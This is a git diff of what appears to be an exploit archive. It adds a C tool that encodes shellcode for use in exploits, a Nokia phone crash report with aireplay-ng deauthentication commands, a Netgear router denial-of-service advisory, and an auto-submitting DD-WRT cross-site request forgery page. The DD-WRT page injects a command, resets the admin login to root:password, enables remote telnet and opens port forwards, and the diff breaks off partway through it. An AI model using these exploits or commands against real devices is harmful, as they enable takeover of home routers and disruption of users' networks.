-		if (switch_verbose) printf("  Markers found at ____: byte %d & %d.\n", (int)marker_start - (int)buffer - marker_length, (int)marker_end - (int)buffer);
-		// copy data between markers to start of buffer;
-		for (int i = 0; i < (int)marker_end - (int)marker_start; i++) {
-			buffer[i] = marker_start[i];
-		}
-		buffer_length = (int)marker_end - (int)marker_start;
-	}
-
-	// Check if we have input data to encode -----------------------------------
-	if (buffer_length == 0) {
-		printf("- No data to encode.\n");
-		if (switch_pause) getchar();
-   		exit(EXIT_FAILURE);
-	}
-	if (switch_verbose) printf("  Data length _________: %d bytes.\n", buffer_length);
-	
-	// Add some padding --------------------------------------------------------
-	if (buffer_length % bytes != 0 && switch_verbose)
-		printf("* Data padding ________: %d x %02X.\n", bytes - (buffer_length  % bytes), pad_byte & 0xff);
-	while(buffer_length - 1 < MAX_BUFFER_SIZE && buffer_length % bytes != 0) {
-		buffer[buffer_length] = pad_byte;
-		buffer_length++;
-	}
-
-	// Check for bad characters ------------------------------------------------
-	for (int i = 0; i < 256; i++) {
-		if (char_is_bad[i]) {
-			// For each bad character
-			bool this_bad_char_found = false;
-			for (int j = 0; j < buffer_length; j++) {
-				if (buffer[j] == i) {
-					// Find all instances in the data
-					if (this_bad_char_found) printf(", %d", j);
-					else {
-						this_bad_char_found = true;
-						printf("* Bad character %02X at _: %d", i, j);
-					}
-				}
-			}
-			if (this_bad_char_found) printf(".\n");
-			else if (switch_verbose)
-				printf("  Bad character %02X ____: Not found.\n", i);
-		}
-	}
-	if (switch_encode) {
-		// Encode the input data ---------------------------------------------------
-		if (switch_verbose) printf(
-	        "\n"
-	        "_ Encoded data _______________________________________________________________\n"
-		);
-	    int input=0, count=0;
-	    // line header and footer only printed when we have a max. chars per line.
-	    if (chars_per_line>0) printf("%s", line_header);
-	    for (int i = 0; i < buffer_length; i+= bytes) {
-			// read as many bytes as we encode and create one int from them.
-	    	unsigned long input = 0;
-	    	for (int j = 0; j < bytes; j++)
-	    		input += (buffer[i+j] & 0xFF) << (j*8);
-	        // if we've allready printed chars we might have to print seperators
-	        if (i > 0) {
-	            // we have to seperate bytes from each other with this:
-	            printf("%s", byte_seperator);
-	            // if we've allready printed enough chars on this line, end it & start a new one:
-	            if (chars_per_line>0 && i % chars_per_line == 0)
-	                printf("%s%s", line_footer, line_header);
-	        }
-	        // print the byte (with it's own header and footer) and count it.
-	        printf(bytes_format, input);
-	    }
-	    // line header and footer only printed when we have a max. chars per line.
-	    if (chars_per_line>0) printf("%s", footer);
-	}
-	if (switch_pause) getchar();
-	exit(EXIT_SUCCESS);
-}
-
+/*
+______________________________________________________________________________
+
+     ,sSSSis   ,sSSSs,   Beta v2.0 (w32).
+    iS"   dP  dY"  ,SP   Encodes binary data to/from a variety of formats.
+   .SP dSS"      ,sS"    Copyright (C) 2003-2005 by Berend-Jan Wever
+   dS'   Sb    ,sY"      <skylined@edup.tudelft.nl>
+  .SP dSSP'  sSSSSSSP    http://spaces.msn.com/members/berendjanwever
+_ iS:_________________________________________________________________________
+
+  This program is free software; you can redistribute it and/or modify it under
+  the terms of the GNU General Public License version 2, 1991 as published by
+  the Free Software Foundation.
+
+  This program is distributed in the hope that it will be useful, but WITHOUT
+  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+  FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+  details.
+
+  A copy of the GNU General Public License can be found at:
+    http://www.gnu.org/licenses/gpl.html
+  or you can write to:
+    Free Software Foundation, Inc.
+    59 Temple Place - Suite 330
+    Boston, MA  02111-1307
+    USA.
+*/
+
+#include <stdio.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <malloc.h>
+#include <string.h>
+#include <windows.h>
+
+#define MAX_BUFFER_SIZE 0x1000
+#define DEFAULT_PAD_BYTE 0x90
+#define MAX_MARKER_SIZE 0x10
+#define bool char
+#define true 1
+#define false 0
+
+char* hex = "0123456789abcdef";
+
+void version(void) {
+    printf(
+        "______________________________________________________________________________\n"
+        "\n"
+        "     ,sSSSis   ,sSSSs,   Beta v2.0.\n"
+        "    iS\"   dP  dY\"  ,SP   Encodes binary data to/from a variety of formats.\n"
+        "   .SP dSS\"      ,sS\"    Copyright (C) 2003-2005 by Berend-Jan Wever\n"
+        "   dS'   Sb    ,sY\"      <skylined@edup.tudelft.nl>\n"
+        "  .SP dSSP'  sSSSSSSP    http://spaces.msn.com/members/berendjanwever\n"
+        "_ iS:_________________________________________________________________________\n"
+        "\n"
+    );
+  return;
+}
+void help(void) {
+    printf(
+        "Beta was developed to convert raw binary shellcode into text that can be\n"
+        "used in exploit source-code. It can convert raw binary data to a large\n"
+        "number of encodings.\n"
+		"\n"
+        "  Usage: BETA [options] [input file name]\n"
+		"\n"
+        "  input file name           Read input from the given file. By default BETA\n"
+        "                            reads input from stdin.\n"
+		"\n"
+        "General options:\n"
+        "  --help                    Display this help and exit\n"
+        "  --version                 Output version information and exit\n"
+        "  --verbose                 Displays additional information.\n"
+        "  --pause                   Wait for keypress before exiting.\n"
+		"\n"
+		"Encoding options: (default = AA BB CC ...)\n"
+        "  \\x                        \\xAA\\xBB\\xCC ...\n"
+        "  0x                        0xAA 0xBB 0xCC ...\n"
+        "  %%                         %%AA%%BB%%CC...\n"
+        "  #                         &#111;&#222;&#33;...\n"
+        "  %%u                        %%uBBAA%%uDDCC...\n"
+        "  --noencode                Don't encode (only do checks).\n"
+		"\n"
+        "Layout options: (default = none)\n"
+        "  --chars/line=X            Output a new line after every X encoded bytes.\n"
+        "  --quotes                  Wrap output in quotes. Only usefull in combination\n"
+        "                            with chars/line argument.\n"
+        "  --quotesplus              Wrap output in quotes and add a '+' at the end\n"
+        "                            of each line. Only usefull in combination with\n"
+        "                            chars/line argument.\n"
+        "  --spaces                  Seperate encoding entities by spaces.\n"
+        "  --commas                  Seperate encoding entities by commas and spaces.\n"
+		"\n"
+		"Additional options:\n"
+		"  --padbyte=AA              When using a multibyte encoding (e.g. %%uXXXX)\n"
+		"                            the data might need some padding. The given byte\n"
+		"                            will be used, the default value is %02x.\n"
+		"  --badbytes[=AA[,BB[...]]] Check the input for presence of the given char-\n"
+		"                            acters and report where they are found. You can\n"
+		"                            supply a comma seperated list of hexadecimal\n"
+		"                            character codes and the keywords \"alpha\" and\n"
+		"                            \"print\" (to check for the presence of nonalpha-\n"
+		"                            numeric or non-printable characters). If no char-\n"
+		"                            acters are supplied, the input will be checked for\n"
+		"                            the presence of 00, 0A and 0D. \n"
+        "  --marker[=AA[,BB[...]]]   The input contains both garbage and data. The data\n"
+        "                            is wrapped by the marker bytes, everything before\n"
+        "                            the first set and after the last set of marker\n"
+        "                            bytes will be ignored. If no marker bytes are\n"
+        "                            supplied, \"CC CC CC\" (3xInt3) will be used.\n"
+        "                            You can supply up to %d bytes as marker.\n",
+        DEFAULT_PAD_BYTE, MAX_MARKER_SIZE
+    );
+  return;
+}
+
+// Find a set of bytes in another set of bytes
+char* find_bytes(char* haystack, int haystack_length, char* needle, int needle_length) {
+	int needle_start = -1, needle_checked = 1;
+	do {
+		if (haystack[needle_start+needle_checked] == needle[needle_checked])
+			// Yes, bytes match, check next byte of needle
+			needle_checked++;
+		else {
+			// No, no match, check next byte of haystack
+			needle_start++;
+			needle_checked = 0;
+		}
+		if (needle_start + needle_length > haystack_length)
+			// Not found.
+			return 0;
+	} while (needle_checked != needle_length);
+	// Found!
+	return haystack + needle_start;
+}
+
+int main(int argc, char** argv, char** envp) {
+
+	// This will contain the input data
+	char* buffer;
+	int buffer_length = 0;
+
+	// This will contain the marker
+	char marker[MAX_MARKER_SIZE];
+	int marker_length = 0;
+
+	// This will keep track of all "bad" bytes
+	char char_is_bad[0x100];
+    for (int i = 0; i < sizeof(char_is_bad)/sizeof(*char_is_bad); i++)
+    	char_is_bad[i] = false;
+
+	// These will store some values supplied by command line arguments
+	bool switch_verbose = false, switch_encode = true, switch_pause = false;
+	char pad_byte = DEFAULT_PAD_BYTE;
+    int chars_per_line = -1;
+    char *input_filename = 0;
+    char *line_header = "", *line_footer = "\n", *footer = "\n";
+    char *bytes_format = "%02X", *byte_seperator = "";
+    int bytes = 1;
+
+	//--------------------------------------------------------------------------
+	// Read and handle arguments
+    for (int argn = 1; argn < argc; argn++) {
+		//--help ---------------------------------------------------------------
+    	if (stricmp(argv[argn], "--help") == 0) {
+    		version();
+    		help();
+			if (switch_pause) getchar();
+    		exit(EXIT_SUCCESS);
+		//--version ------------------------------------------------------------
+    	} else if (stricmp(argv[argn], "--version") == 0) {
+    		version();
+			if (switch_pause) getchar();
+    		exit(EXIT_SUCCESS);
+		//--verbose ------------------------------------------------------------
+    	} else if (stricmp(argv[argn], "--verbose") == 0) {
+    		switch_verbose = true;
+		//--noencode -----------------------------------------------------------
+    	} else if (stricmp(argv[argn], "--noencode") == 0) {
+    		switch_encode = false;
+		//--noencode -----------------------------------------------------------
+    	} else if (stricmp(argv[argn], "--pause") == 0) {
+    		switch_pause = true;
+		//--chars/line= --------------------------------------------------------
+	    } else if (strnicmp(argv[argn], "--chars/line=", 13)==0) {
+	    	if ((chars_per_line = strtol(&(argv[argn][13]), NULL, 10)) < 1) {
+	    		printf("Illegal number of characters per line: \"%s\".\n", &(argv[argn][13]));
+	    		if (switch_pause) getchar();
+	    		exit(EXIT_FAILURE);
+	    	}
+		//--layout options -----------------------------------------------------
+	    } else if (strcmp(argv[argn], "--quote") == 0 || strcmp(argv[argn], "--quotes") == 0) {
+	        line_header = "\"";
+	        line_footer = "\"\n";
+	        footer = "\"\n";
+	    } else if (strcmp(argv[argn], "--quoteplus") == 0 || strcmp(argv[argn], "--quotesplus") == 0) {
+	        line_header = "\"";
+	        line_footer = "\" +\n";
+	        footer = "\"\n";
+	    } else if (strcmp(argv[argn], "--comma") == 0 || strcmp(argv[argn], "--commas") == 0) {
+	        byte_seperator = ", ";
+	    } else if (strcmp(argv[argn], "--space") == 0 || strcmp(argv[argn], "--spaces") == 0) {
+	        byte_seperator = " ";
+		//--encoding options ---------------------------------------------------
+	    } else if (stricmp(argv[argn], "\\x")==0) {
+	    	bytes_format = "\\x%02X";
+	    } else if (stricmp(argv[argn], "0x")==0) {
+	    	bytes_format = "0x%02X";
+	    } else if (stricmp(argv[argn], "#")==0) {
+	    	bytes_format = "&#%d;";
+	    } else if (stricmp(argv[argn], "%")==0) {
+	    	bytes_format = "%%%02X";
+	    } else if (stricmp(argv[argn], "%u")==0) {
+	    	bytes_format = "%%u%04X";
+	    	bytes = 2;
+		//--padbyte ------------------------------------------------------------
+	    } else if (strnicmp(argv[argn], "--padbyte=", 10) == 0) {
+	    	char* next_xarg;
+			pad_byte = strtol(&(argv[argn][10]), &next_xarg, 0x10);
+			if ((pad_byte & 0xFF) != pad_byte) {
+				printf("Incorrect value in padbyte argument: \"%s\".\n", &(argv[argn][11]));
+				printf("  Value cannot be converted to a byte ");
+				for (int i = 0; i < strlen(&(argv[argn][10])); i++)
+					printf("^");
+				printf("\n");
+				if (switch_pause) getchar();
+	    		exit(EXIT_FAILURE);
+			}
+			if (next_xarg == &(argv[argn][10])) {
+				printf("Incorrect byte encoding in padbyte argument: \"%s\".\n", &(argv[argn][10]));
+				if (switch_pause) getchar();
+	    		exit(EXIT_FAILURE);
+			}
+		//--badbytes -----------------------------------------------------------
+		} else if (stricmp(argv[argn], "--badbytes") == 0) {
+			char_is_bad[0x0] = true;
+			char_is_bad[0xA] = true;
+			char_is_bad[0xD] = true;
+		//--badbytes=XX,XX,... -------------------------------------------------
+	    } else if (strnicmp(argv[argn], "--badbytes=", 11) == 0) {
+			char* xarg = &(argv[argn][11]);
+			while (strlen(xarg) > 0) {
+				if (strnicmp(xarg, "alpha", 5) == 0) {
+					for (int i = 0; i < 0x100; i++) {
+						if (!isalnum(i)) char_is_bad[i] = true;
+					}
+					xarg += 5;
+				} else if (strnicmp(xarg, "print", 5) == 0) {
+					for (int i = 0; i < 0x100; i++) {
+						if (!isprint(i)) char_is_bad[i] = true;
+					}
+					xarg += 5;
+				} else {
+					char* next_xarg;
+					int decoded = strtol(xarg, &next_xarg, 0x10);
+					if ((decoded & 0xFF) != decoded) {
+						printf("Incorrect value in badbytes argument: \"%s\".\n", &(argv[argn][11]));
+						for (char* i = &(argv[argn][9]); i < xarg; i++)
+							printf(" ");
+						printf(" Value cannot be converted to a byte ");
+						for (char* i = xarg; i < next_xarg; i++)
+							printf("^");
+						printf("\n");
+						if (switch_pause) getchar();
+			    		exit(EXIT_FAILURE);
+					}
+					if (next_xarg == xarg) {
+						printf("Incorrect byte encoding in badbytes argument: \"%s\".\n", &(argv[argn][11]));
+						for (char* i = &(argv[argn][11]); i < xarg; i++)
+							printf(" ");
+						printf("                    Character '%c' not expected ^\n", *xarg);
+						if (switch_pause) getchar();
+			    		exit(EXIT_FAILURE);
+					}
+					
+					char_is_bad[decoded] = true;
+					xarg = next_xarg;
+				}
+				if (*xarg == ',') xarg++;
+			}
+		//--marker -------------------------------------------------------------
+	    } else if (stricmp(argv[argn], "--marker")==0) {
+	        marker_length = 3;
+	        for (int i = 0; i < marker_length; i++) marker[i] = 0xCC;
+		//--marker= ------------------------------------------------------------
+	    } else if (strnicmp(argv[argn], "--marker=", 9)==0) {
+			char* xarg = &(argv[argn][9]);
+			while (strlen(xarg) > 0) {
+				if (marker_length == MAX_MARKER_SIZE) {
+					printf("Given marker is too large, the maximum size is %d characters.\n", MAX_MARKER_SIZE);
+					if (switch_pause) getchar();
+		    		exit(EXIT_FAILURE);
+				}
+				char* next_xarg;
+				int decoded = strtol(xarg, &next_xarg, 0x10);
+				if ((decoded & 0xFF) != decoded) {
+					printf("Incorrect value in marker argument: \"%s\".\n", &(argv[argn][9]));
+					for (char* i = &(argv[argn][9]); i < xarg; i++)
+						printf(" ");
+					printf(" Value cannot be converted to a byte ");
+					for (char* i = xarg; i < next_xarg; i++)
+						printf("^");
+					printf("\n");
+					if (switch_pause) getchar();
+		    		exit(EXIT_FAILURE);
+				}
+				marker[marker_length] = decoded;
+				marker_length++;
+				if (next_xarg == xarg) {
+					printf("Incorrect byte encoding in marker argument: \"%s\".\n", &(argv[argn][9]));
+					for (char* i = &(argv[argn][9]); i < xarg; i++)
+						printf(" ");
+					printf("                  Character '%c' not expected ^\n", *xarg);
+					if (switch_pause) getchar();
+		    		exit(EXIT_FAILURE);
+				}
+				xarg = next_xarg;
+				if (*xarg == ',') xarg ++;
+			}
+	    } else {
+		//--input filename -----------------------------------------------------
+	    	if (input_filename != 0) {
+	    		printf(
+	    			"Two arguments are assumed to be file names, only one was expected:\n"
+	    			"\"%s\" and \"%s\"\n",
+	    			input_filename, argv[argn]
+	    		);
+	    		if (switch_pause) getchar();
+	    		exit(EXIT_FAILURE);
+	    	}
+	    	input_filename = argv[argn];
+    	}
+    }
+
+	if (switch_verbose) version();
+
+	if (input_filename == 0) {
+		// Read from STDIN -----------------------------------------------------
+		buffer = malloc(MAX_BUFFER_SIZE);
+		if (buffer == 0) {
+			printf("- Cannot allocate %d bytes of memory for input buffer.\n", MAX_BUFFER_SIZE);
+			if (switch_pause) getchar();
+    		exit(EXIT_FAILURE);
+		}
+		if (switch_verbose) printf("  Input _______________: STDIN, reading...");
+		while (buffer_length < MAX_BUFFER_SIZE && (buffer[buffer_length] = getchar()) != EOF) buffer_length++;
+		if (switch_verbose) {
+			if (buffer_length == MAX_BUFFER_SIZE)
+				printf("\r  Input _______________: STDIN, %d bytes (maximum size for input data).\n", buffer_length);
+			else
+				printf("\r  Input _______________: STDIN, %d bytes.\n", buffer_length);
+		}
+	} else {
+		// Read from file ------------------------------------------------------
+		int input_filedescriptor = 0;
+		if ((input_filedescriptor = open(input_filename, O_RDONLY | O_BINARY, 0)) == 0) {
+			printf("- Cannot open file \"%s\".\n", input_filename);
+			if (switch_pause) getchar();
+    		exit(EXIT_FAILURE);
+		}
+		if ((buffer_length = lseek(input_filedescriptor, 0, SEEK_END)) == -1) {
+			printf("- Cannot find end of file \"%s\".\n", input_filename);
+			if (switch_pause) getchar();
+    		exit(EXIT_FAILURE);
+		}
+		if (buffer_length == 0) {
+			printf("- File \"%s\" is empty.\n", input_filename);
+			if (switch_pause) getchar();
+    		exit(EXIT_FAILURE);
+		}
+		if (lseek(input_filedescriptor, 0, SEEK_SET) == -1) {
+			printf("- Cannot find start of file \"%s\".\n", input_filename);
+			if (switch_pause) getchar();
+    		exit(EXIT_FAILURE);
+		}
+		if (switch_verbose) printf("  Input file __________: \"%s\", %d bytes.\n", input_filename, buffer_length);
+		if ((buffer = malloc(buffer_length)) == 0) {
+			printf("- Cannot allocate %d bytes of memory for input buffer.\n", buffer_length);
+			if (switch_pause) getchar();
+    		exit(EXIT_FAILURE);
+		}
+		int bytes_read_total = 0;
+		while (bytes_read_total < buffer_length) {
+			int bytes_read = read(input_filedescriptor, buffer+bytes_read_total, buffer_length-bytes_read_total);
+			if (bytes_read == -1) {
+				printf("- Cannot read from file \"%s\".\n", input_filename);
+				if (switch_pause) getchar();
+	    		exit(EXIT_FAILURE);
+			}
+			if (bytes_read == 0) {
+				printf("- Cannot read more then %d bytes of file \"%s\".\n", bytes_read_total, input_filename);
+				buffer_length = bytes_read_total;
+				if (switch_pause) getchar();
+	    		exit(EXIT_FAILURE);
+			}
+			bytes_read_total += bytes_read;
+		}
+		close(input_filedescriptor);
+	}
+
+	// Cut out the part surrounded by the markers ------------------------------
+	if (marker_length > 0) {
+		if (switch_verbose) {
+			printf ("  Marker bytes ________:");
+			for (int i = 0; i < marker_length; i++)
+				printf(" %02X", marker[i] & 0xFF);
+			printf (".\n");
+		}
+		char *marker_start, *marker_end;
+		// find the first marker
+		marker_start = find_bytes(buffer, buffer_length, marker, marker_length);
+		if (marker_start == 0) {
+			printf("- Cannot find start marker.\n");
+			if (switch_pause) getchar();
+    		exit(EXIT_FAILURE);
+		}
+		marker_start += marker_length;
+		// find the second marker
+		marker_end = find_bytes(marker_start, buffer + buffer_length - marker_start, marker, marker_length);
+		if (marker_end == 0) {
+			printf("- Cannot find end marker.\n");
+			if (switch_pause) getchar();
+    		exit(EXIT_FAILURE);
+		}
+		if (switch_verbose) printf("  Markers found at ____: byte %d & %d.\n", (int)marker_start - (int)buffer - marker_length, (int)marker_end - (int)buffer);
+		// copy data between markers to start of buffer;
+		for (int i = 0; i < (int)marker_end - (int)marker_start; i++) {
+			buffer[i] = marker_start[i];
+		}
+		buffer_length = (int)marker_end - (int)marker_start;
+	}
+
+	// Check if we have input data to encode -----------------------------------
+	if (buffer_length == 0) {
+		printf("- No data to encode.\n");
+		if (switch_pause) getchar();
+   		exit(EXIT_FAILURE);
+	}
+	if (switch_verbose) printf("  Data length _________: %d bytes.\n", buffer_length);
+	
+	// Add some padding --------------------------------------------------------
+	if (buffer_length % bytes != 0 && switch_verbose)
+		printf("* Data padding ________: %d x %02X.\n", bytes - (buffer_length  % bytes), pad_byte & 0xff);
+	while(buffer_length - 1 < MAX_BUFFER_SIZE && buffer_length % bytes != 0) {
+		buffer[buffer_length] = pad_byte;
+		buffer_length++;
+	}
+
+	// Check for bad characters ------------------------------------------------
+	for (int i = 0; i < 256; i++) {
+		if (char_is_bad[i]) {
+			// For each bad character
+			bool this_bad_char_found = false;
+			for (int j = 0; j < buffer_length; j++) {
+				if (buffer[j] == i) {
+					// Find all instances in the data
+					if (this_bad_char_found) printf(", %d", j);
+					else {
+						this_bad_char_found = true;
+						printf("* Bad character %02X at _: %d", i, j);
+					}
+				}
+			}
+			if (this_bad_char_found) printf(".\n");
+			else if (switch_verbose)
+				printf("  Bad character %02X ____: Not found.\n", i);
+		}
+	}
+	if (switch_encode) {
+		// Encode the input data ---------------------------------------------------
+		if (switch_verbose) printf(
+	        "\n"
+	        "_ Encoded data _______________________________________________________________\n"
+		);
+	    int input=0, count=0;
+	    // line header and footer only printed when we have a max. chars per line.
+	    if (chars_per_line>0) printf("%s", line_header);
+	    for (int i = 0; i < buffer_length; i+= bytes) {
+			// read as many bytes as we encode and create one int from them.
+	    	unsigned long input = 0;
+	    	for (int j = 0; j < bytes; j++)
+	    		input += (buffer[i+j] & 0xFF) << (j*8);
+	        // if we've allready printed chars we might have to print seperators
+	        if (i > 0) {
+	            // we have to seperate bytes from each other with this:
+	            printf("%s", byte_seperator);
+	            // if we've allready printed enough chars on this line, end it & start a new one:
+	            if (chars_per_line>0 && i % chars_per_line == 0)
+	                printf("%s%s", line_footer, line_header);
+	        }
+	        // print the byte (with it's own header and footer) and count it.
+	        printf(bytes_format, input);
+	    }
+	    // line header and footer only printed when we have a max. chars per line.
+	    if (chars_per_line>0) printf("%s", footer);
+	}
+	if (switch_pause) getchar();
+	exit(EXIT_SUCCESS);
+}
+
 // milw0rm.com [2005-12-16]
\ No newline at end of file
diff --git a/platforms/hardware/dos/6459.txt b/platforms/hardware/dos/6459.txt
index 60c531d0f..98e83f644 100755
--- a/platforms/hardware/dos/6459.txt
+++ b/platforms/hardware/dos/6459.txt
@@ -1,29 +1,29 @@
-Nokia E90 and probably other devices with s60v3 crashes with aireplay
-
-The device should be authorised on an access point
-
-sample: aireplay-ng -0 10 -a 00:74:3B:0C:A0:5A -c 00:2A:29:F3:1F:42 wlan0
-
-My HW:
-
-AP= Acorp w422g
-
-Nokia E90 v 07.40.1.2 Ra-6
-
-For attack realisation is necessary to send DeAuth a package on the attacked
-device (to throw out it from an access point), then to continue to send
-packages on the device.
-
-the Device is crashed off right after repeated authorisation on an access
-point
-
-Vulnerability is fast shown at activity on WLAN
-
-WLAN Settings: auto
-
-I specify a harmful code: ./aireplay-ng -x 1024 -0 230 -a $ap -c $target
-$iface
-
-Added: the vulnerable device: Nokia N82
-
-# milw0rm.com [2008-09-14]
+Nokia E90 and probably other devices with s60v3 crashes with aireplay
+
+The device should be authorised on an access point
+
+sample: aireplay-ng -0 10 -a 00:74:3B:0C:A0:5A -c 00:2A:29:F3:1F:42 wlan0
+
+My HW:
+
+AP= Acorp w422g
+
+Nokia E90 v 07.40.1.2 Ra-6
+
+For attack realisation is necessary to send DeAuth a package on the attacked
+device (to throw out it from an access point), then to continue to send
+packages on the device.
+
+the Device is crashed off right after repeated authorisation on an access
+point
+
+Vulnerability is fast shown at activity on WLAN
+
+WLAN Settings: auto
+
+I specify a harmful code: ./aireplay-ng -x 1024 -0 230 -a $ap -c $target
+$iface
+
+Added: the vulnerable device: Nokia N82
+
+# milw0rm.com [2008-09-14]
diff --git a/platforms/hardware/dos/8106.txt b/platforms/hardware/dos/8106.txt
index 87092c6da..a598bc7f8 100755
--- a/platforms/hardware/dos/8106.txt
+++ b/platforms/hardware/dos/8106.txt
@@ -1,17 +1,17 @@
-LUNOSEC ADVISORY
-
-Synopsis: Denial of Service condition in Netgear's WGR614v9 Wireless Router
-
-Firmware version tested: v1.2.2_14.0.13NA (LATEST)
-Firmware version tested: WNR834Bv2 v2.0.8_2.0.8 # GTADarkDude tested
-
-Proof of Concept:
-
-Appending a question mark to the router's internal IP address after
-the forward slash. e.g., http://192.168.1.1/? results in a denial of
-service condition where the http server dies and the administrative
-interface is no longer available until after a device reboot.
-
-found: fabrizio siciliano (staticrez)
-
-# milw0rm.com [2009-02-25]
+LUNOSEC ADVISORY
+
+Synopsis: Denial of Service condition in Netgear's WGR614v9 Wireless Router
+
+Firmware version tested: v1.2.2_14.0.13NA (LATEST)
+Firmware version tested: WNR834Bv2 v2.0.8_2.0.8 # GTADarkDude tested
+
+Proof of Concept:
+
+Appending a question mark to the router's internal IP address after
+the forward slash. e.g., http://192.168.1.1/? results in a denial of
+service condition where the http server dies and the administrative
+interface is no longer available until after a device reboot.
+
+found: fabrizio siciliano (staticrez)
+
+# milw0rm.com [2009-02-25]
diff --git a/platforms/hardware/remote/7389.htm b/platforms/hardware/remote/7389.htm
index 300bf19b0..810c4928b 100755
--- a/platforms/hardware/remote/7389.htm
+++ b/platforms/hardware/remote/7389.htm
@@ -1,93 +1,93 @@
-Remote root dd-wrt
---------------------------------------------------------------------------------
-
-Written by Michael Brooks
-Special thanks to str0ke
-
-Exploits tested on the newist stable version:
-Firmware: DD-WRT v24-sp1 (07/27/08) micro
-Product Homepage:
-http://dd-wrt.com/
-
-Impact:
-1)Remote root command execuiton /bin/sh
-2)Change web administration password and enable remote admistration
-3)create new Port Forwarding rules to byass NAT.
-
-<html>
-	<head>
-		<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
-	</head>
-	Remote root command execution /bin/sh
-	<form method="post" action="http://192.168.1.1/apply.cgi" id=1>
-		<input name="submit_button" value="Ping" type="hidden">
-		<input name="action" value="ApplyTake" type="hidden">
-		<input name="submit_type" value="start" type="hidden">
-		<input name="change_action" value="gozila_cgi" type="hidden">
-		<input name="next_page" value="Diagnostics.asp" type="hidden">
-		<input name="ping_ip" value="echo owned">
-		<input name="execute command" type="submit">
-	</form><br><br>	
-	enable remote administration and change login to root:password
-	<form method="post" action="http://192.168.1.1/apply.cgi">
-		<input name="submit_button" value="Management" type="hidden">
-		<input name="action" value="ApplyTake" type="hidden">
-		<input name="change_action" value="" type="hidden">
-		<input name="submit_type" value="" type="hidden">
-		<input name="commit" value="1" type="hidden">
-		<input name="PasswdModify" value="0" type="hidden">
-		<input name="remote_mgt_https" value="" type="hidden">
-		<input name="http_enable" value="1" type="hidden">
-		<input name="info_passwd" value="0" type="hidden">
-		<input name="https_enable" value="" type="hidden">
-		<input name="http_username" value="root" type="hidden">
-		<input name="http_passwd" value="password" type="hidden">
-		<input name="http_passwdConfirm" value="password" type="hidden">
-		<input name="_http_enable" value="1" type="hidden">
-		<input name="refresh_time" value="3" type="hidden">
-		<input name="status_auth" value="1" type="hidden">
-		<input name="maskmac" value="1" type="hidden">
-		<input name="remote_management" value="1" type="hidden">
-		<input name="http_wanport" value="8080" type="hidden">
-		<input name="remote_mgt_telnet" value="1" type="hidden">
-		<input name="telnet_wanport" value="23" type="hidden">
-		<input name="boot_wait" value="on" type="hidden">
-		<input name="cron_enable" value="1" type="hidden">
-		<input name="cron_jobs" value="" type="hidden">
-		<input name="loopback_enable" value="1" type="hidden">
-		<input name="nas_enable" value="1" type="hidden">
-		<input name="resetbutton_enable" value="1" type="hidden">
-		<input name="zebra_enable" value="1" type="hidden">
-		<input name="ip_conntrack_max" value="512" type="hidden">
-		<input name="ip_conntrack_tcp_timeouts" value="3600" type="hidden">
-		<input name="ip_conntrack_udp_timeouts" value="120" type="hidden">
-		<input name="overclocking" value="200" type="hidden">
-		<input name="router_style" value="yellow" type="hidden">
-		<input name="Remote Admin" type="submit">
-	</form><br><br>
-	Change Port Forwarding to byass NAT protection.
-	<form method="post" action="http://192.168.1.1/apply.cgi">	
-		<input name="submit_button" value="Change Port Forwarding" type="submit">
-		<input name="action" value="ApplyTake" type="hidden">
-		<input name="change_action" value="" type="hidden">
-		<input name="submit_type" value="" type="hidden">
-		<input name="forward_spec" value="13" type="hidden">
-		<input name="name0" value="Hacked" type="hidden">
-		<input name="from0" value="4450" type="hidden">
-		<input name="pro0" value="both" type="hidden">
-		<input name="ip0" value="192.168.1.100" type="hidden">
-		<input name="to0" value="445" type="hidden">
-		<input name="enable0" value="on" type="hidden">
-		<input name="name1" value="Hacked Again" type="hidden">
-		<input name="from1" value="22" type="hidden">
-		<input name="pro1" value="tcp" type="hidden">
-		<input name="ip1" value="192.168.1.101" type="hidden">
-		<input name="to1" value="22" type="hidden">
-		<input name="enable1" value="on" type="hidden">
-	</form>
-</html>
-<script>
-	document.getElementById(1).submit();//remote root command execution!
-</script>
-
-# milw0rm.com [2008-12-08]
+Remote root dd-wrt
+--------------------------------------------------------------------------------
+
+Written by Michael Brooks
+Special thanks to str0ke
+
+Exploits tested on the newist stable version:
+Firmware: DD-WRT v24-sp1 (07/27/08) micro
+Product Homepage:
+http://dd-wrt.com/
+
+Impact:
+1)Remote root command execuiton /bin/sh
+2)Change web administration password and enable remote admistration
+3)create new Port Forwarding rules to byass NAT.
+
+<html>
+	<head>
+		<meta http-equiv="content-type" content="text/html; charset=ISO-8859-1">
+	</head>
+	Remote root command execution /bin/sh
+	<form method="post" action="http://192.168.1.1/apply.cgi" id=1>
+		<input name="submit_button" value="Ping" type="hidden">
+		<input name="action" value="ApplyTake" type="hidden">
+		<input name="submit_type" value="start" type="hidden">
+		<input name="change_action" value="gozila_cgi" type="hidden">
+		<input name="next_page" value="Diagnostics.asp" type="hidden">
+		<input name="ping_ip" value="echo owned">
+		<input name="execute command" type="submit">
+	</form><br><br>	
+	enable remote administration and change login to root:password
+	<form method="post" action="http://192.168.1.1/apply.cgi">
+		<input name="submit_button" value="Management" type="hidden">
+		<input name="action" value="ApplyTake" type="hidden">
+		<input name="change_action" value="" type="hidden">
+		<input name="submit_type" value="" type="hidden">
+		<input name="commit" value="1" type="hidden">
+		<input name="PasswdModify" value="0" type="hidden">
+		<input name="remote_mgt_https" value="" type="hidden">
+		<input name="http_enable" value="1" type="hidden">
+		<input name="info_passwd" value="0" type="hidden">
+		<input name="https_enable" value="" type="hidden">
+		<input name="http_username" value="root" type="hidden">
+		<input name="http_passwd" value="password" type="hidden">
+		<input name="http_passwdConfirm" value="password" type="hidden">
+		<input name="_http_enable" value="1" type="hidden">
+		<input name="refresh_time" value="3" type="hidden">
+		<input name="status_auth" value="1" type="hidden">
+		<input name="maskmac" value="1" type="hidden">
+		<input name="remote_management" value="1" type="hidden">
+		<input name="http_wanport" value="8080" type="hidden">
+		<input name="remote_mgt_telnet" value="1" type="hidden">
+		<input name="telnet_wanport" value="23" type="hidden">
+		<input name="boot_wait" value="on" type="hidden">
+		<input name="cron_enable" value="1" type="hidden">
+		<input name="cron_jobs" value="" type="hidden">
+		<input name="loopback_enable" value="1" type="hidden">
+		<input name="nas_enable" value="1" type="hidden">
